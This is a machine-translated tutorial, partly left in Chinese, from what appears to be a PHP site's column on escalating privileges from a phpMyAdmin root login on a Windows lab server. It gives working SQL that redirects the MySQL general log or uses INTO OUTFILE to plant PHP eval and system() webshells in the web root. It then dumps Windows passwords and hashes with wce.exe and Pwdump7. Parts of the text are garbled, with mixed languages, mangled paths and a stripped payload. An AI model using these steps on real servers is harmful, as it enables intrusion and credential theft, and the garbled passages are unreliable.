Dinge über die Eskalation von phpMyadmin-Berechtigungen
Die folgende Tutorial-Kolumne von phpmyadmin wird Ihnen die Dinge über die Eskalation von phpMyadmin-Berechtigungen vorstellen. Ich hoffe, dass sie Freunden, die es benötigen, hilfreich sein wird!
Einführung: Ich habe das Passwort des phpMyadmin-Kontos während des Penetrationstests erfahren. Wie kann ich die Berechtigungen erweitern? Lesen Sie weiter, heute werde ich Ihnen etwas über die Eskalation der phpMyadmin-Berechtigungen erzählen.
0×00 Definition
phpMyAdmin ist ein MySQL-Datenbankverwaltungstool, das auf PHP basiert und im Web-Base-Modus auf dem Website-Host strukturiert ist, sodass Administratoren die Webschnittstelle zur Verwaltung von MySQL-Datenbanken verwenden können.
0×01 Umgebungsvorbereitung
目标: Windows Server 2003 Enterprise x64 Edition 192.168.17.137攻击机: window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4
0×02 Beginnt einzudringen
Wir haben durch schwache Passwörter, Sprengungen, Verzeichnislecks usw. erfahren, dass das Kontopasswort von PhpMyadmin root ist. Als nächstes werden wir die Rechte über phpMyadmin so realitätsnah wie möglich eskalieren und über weitere Ideen sprechen.
a Sammeln Sie nützliche Informationen
Wie im Bild oben gezeigt, können wir die folgenden nützlichen Informationen erhalten.
- 1. Das Betriebssystem ist Windows Server 2003 x86
- 2. Der Server ist Apache 2.4.32
- 3. Der Standardpfad der Website ist E:phpStudyPHPTutorialWWW
- 5. MySQL-Version ist 5.5.53
Oben haben wir erfahren, dass der Standardpfad der Website E:phpstudyPHPTutorialWWW ist. Zu diesem Zeitpunkt möchten wir unbedingt eine Backdoor-Datei einfügen oder eine Shell exportieren. Wenn wir eine der beiden oben genannten Ideen verwenden müssen, müssen wir eine Voraussetzung erfüllen. Der Wert, der „secure_file_priv“ entspricht, darf nicht leer sein und muss der Pfad der Standardwebsite sein, daher müssen wir den Wert von „secure_file_priv“ im Voraus überprüfen .
phpMyadmin führt den folgenden Befehl aus:
SHOW VARIABLES LIKE „secure_file_priv“;结果如图所示:
从上图得知值为空,如果我们这时导入一句话,肯定会失败的,不信啊,那我们试试。
报错The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,这是因为mysql对通过文件导入导出作了限制,默认不允许。默认value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行)。我们思考一下看看能否设置其的路径为我们的默认网站路径,这样我们就可以导入一句话后门了。那我们试试吧。
从图得知这个变量是一个只读变量无法动态更改,那应该是只能从配置文件中更改了。到这里发现陷入了一个胡同,那常规方式不行,我们可以去使用一些骚思路,利用log日志文件插入一句话。
c 转换思路
我们首先需要检测的是MySQL全局变量(general_log、general_log file)的值。
- general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
- general log file 指的是日志的保存路径。
从图得知general_log默认是关闭的,log日志存放的位置是E:\phpStudy\PHPTutorial\MySQL\data\。
首先我们来理解一下开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在E:\phpstudy\PHPTutorial\MySQL\data\下的一个log文件中,其实就是我们常说的日志文件。好,我们的利用的思路是开启general_log之后把general_log_file的值修改为我们网站默认路径下一个自定义的php文件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用。
具体命令是:
set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';
Dann können wir sehen, dass sich die von uns generierte Pseudo-Tagebuchdatei infos.php im Stammpfad der Website befindet.
Dann müssen wir unsere Ein-Satz-Hintertür einfügen.
select ‘’;
Wir können versuchen, den Chopper zum Herstellen einer Verbindung zu verwenden, und die Verbindung ist erfolgreich.
d Holen Sie sich das Administratorpasswort
0×00 Holen Sie sich den Klartext direkt
Wir laden wce.exe hoch, um das Klartextpasswort zu erhalten. Mit viel Glück habe ich direkt den Klartext (ein Passwort gemischt aus 11 Buchstaben und Zahlen) erhalten. Wenn Sie den Klartext nicht direkt abrufen können, müssen Sie mit dem zweiten Schritt fortfahren, um den Hash-Wert abzurufen und ihn dann zu entschlüsseln.
0×01 Holen Sie sich den Hash-Wert
Laden Sie Pwdump7.exe hoch, um den Hash-Wert zu erhalten, und speichern Sie ihn in der Datei „password.txt“. Um den Hash-Wert zu erhalten, können Sie ihn online unter http://www.objectif-securite.ch/en/ophcrack.php ausführen. Wenn dies fehlschlägt, importieren Sie die Rainbow-Tabelle mit Ophcrack und führen Sie sie aus.
e Überprüfen Sie, ob 3389 geöffnet ist
Geben Sie direkt „netstat -an | find „3389“ oder „netstat -an“ im Chopper-Terminal ein.
Es wurde festgestellt, dass 3389 nicht geöffnet ist, aber 3390 ist geöffnet. Wir versuchen, eine Verbindung herzustellen. Ja, aber ich werde es hier nicht schreiben, weil es zu viel Inhalt gibt
Das Obige zeigt die Situation, in der der Wert secure_file_priv leer ist. Was sollen wir also tun? Wenn „secure_file_priv“ nicht leer ist?
a Konfigurieren Sie die Datei „my.ini“ (entspricht nicht dem Stammpfad der Website).
Öffnen Sie die MySQL-Konfigurationsdatei „my.ini“, legen Sie den Wert von „secure_file_priv“ fest und starten Sie MySQL neu.
secure_file_priv = „E:/phpStudy/PHPTutorial /MYSQL/“
尝试改变值,发现只是可读,不能写,那种情况无法写入我们的一句话,因为其限制了导出路径,无法把一句话写入之后导出到我们的网站根目录。
b 配置my.ini文件(对应网站根路径)
打开mysq的配置文件my.ini,对secure_file_priv的值进行设置,然后重启mysql。
secure_file_priv = ”E:/phpStudy/PHPTutorial/WWW/”
然后我们尝试插入一句话后门,成功插入。
二话不说菜刀连接。
当然一句话还可以这样插入。
CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php @eval($_POST[pass]);?>');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/为网站的绝对路径)
c 导出具有命令权限的Shell的php文件
select ‘\’;system($_POST[\'yumu\']);echo \’\’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;
0×04 Zusammenfassung
Die Umgebung in diesem Artikel ist so nah wie möglich an der realen Umgebung, außer dass waf nicht verwendet wird. Es simuliert die reale Umgebung, damit jeder die Ideen analysieren und erklären kann. Ich hoffe, dass alle geerntet haben.
Das obige ist der detaillierte Inhalt vonDinge über die Eskalation von phpMyadmin-Berechtigungen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen



Der Primärschlüssel einer Tabelle besteht aus einer oder mehreren Spalten, die jeden Datensatz in der Tabelle eindeutig identifizieren. Hier sind die Schritte zum Festlegen eines Primärschlüssels: Melden Sie sich bei phpMyAdmin an. Wählen Sie Datenbank und Tabelle aus. Markieren Sie die Spalte, die Sie als Primärschlüssel verwenden möchten. Klicken Sie auf „Änderungen speichern“. Primärschlüssel bieten Datenintegrität, Suchgeschwindigkeit und Vorteile bei der Beziehungsmodellierung.

Das Hinzufügen eines Fremdschlüssels in phpMyAdmin kann durch die folgenden Schritte erreicht werden: Wählen Sie die übergeordnete Tabelle aus, die den Fremdschlüssel enthält. Bearbeiten Sie die übergeordnete Tabellenstruktur und fügen Sie unter „Spalten“ neue Spalten hinzu. Aktivieren Sie Fremdschlüsseleinschränkungen und wählen Sie die referenzierende Tabelle und den Schlüssel aus. Legen Sie Aktualisierungs-/Löschvorgänge fest. Änderungen speichern.

Die WordPress-Datenbank ist in einer MySQL-Datenbank untergebracht, die alle Website-Daten speichert und auf die über das Dashboard Ihres Hosting-Anbieters, FTP oder phpMyAdmin zugegriffen werden kann. Der Datenbankname bezieht sich auf die URL oder den Benutzernamen der Website und der Zugriff erfordert die Verwendung von Datenbankanmeldeinformationen, einschließlich Name, Benutzername, Passwort und Hostname, die normalerweise in der Datei „wp-config.php“ gespeichert sind.

Standardspeicherort für PHPMyAdmin-Protokolldateien: Linux/Unix/macOS:/var/log/phpmyadminWindows: C:\xampp\phpMyAdmin\logs\ Zweck der Protokolldatei: Fehlerbehebung bei der Überwachungssicherheit

Der Standardbenutzername und das Passwort für PHPMyAdmin sind root und leer. Aus Sicherheitsgründen wird empfohlen, das Standardkennwort zu ändern. Methode zum Ändern des Passworts: 1. Melden Sie sich bei PHPMyAdmin an. 2. Wählen Sie „Privilegien“ 3. Geben Sie das neue Passwort ein und speichern Sie es. Wenn Sie Ihr Passwort vergessen, können Sie es zurücksetzen, indem Sie den MySQL-Dienst stoppen und die Konfigurationsdatei bearbeiten: 1. Fügen Sie die Zeile „skip-grant-tables“ hinzu. 2. Melden Sie sich an der MySQL-Befehlszeile an und setzen Sie das Root-Passwort zurück 4. Löschen Sie die Zeile „skip-grant-tables“ und starten Sie den MySQL-Dienst neu.

Schritte zum Löschen einer Datentabelle in phpMyAdmin: Wählen Sie die Datenbank und die Datentabelle aus. Klicken Sie auf die Option „Löschen“.

Gründe und Lösungen für den von phpMyAdmin verweigerten Zugriff: Authentifizierung fehlgeschlagen: Überprüfen Sie, ob Benutzername und Passwort korrekt sind. Serverkonfigurationsfehler: Passen Sie die Firewall-Einstellungen an und prüfen Sie, ob der Datenbank-Port korrekt ist. Berechtigungsproblem: Gewähren von Benutzern Zugriff auf die Datenbank. Sitzungszeitüberschreitung: Aktualisieren Sie die Browserseite und stellen Sie die Verbindung wieder her. phpMyAdmin-Konfigurationsfehler: Überprüfen Sie die Konfigurationsdatei und Dateiberechtigungen, um sicherzustellen, dass die erforderlichen Apache-Module aktiviert sind. Serverproblem: Warten Sie eine Weile und versuchen Sie es erneut oder wenden Sie sich an Ihren Hosting-Anbieter.

phpMyAdmin ist anfällig für mehrere Schwachstellen, darunter: 1. Schwachstelle durch SQL-Injection (XSS); 3. Schwachstelle durch Remotecode-Ausführung (LFI); 5. Schwachstelle bei der Offenlegung von Informationen; Sicherheitslücke; 6. Sicherheitslücke bezüglich der Rechteausweitung.
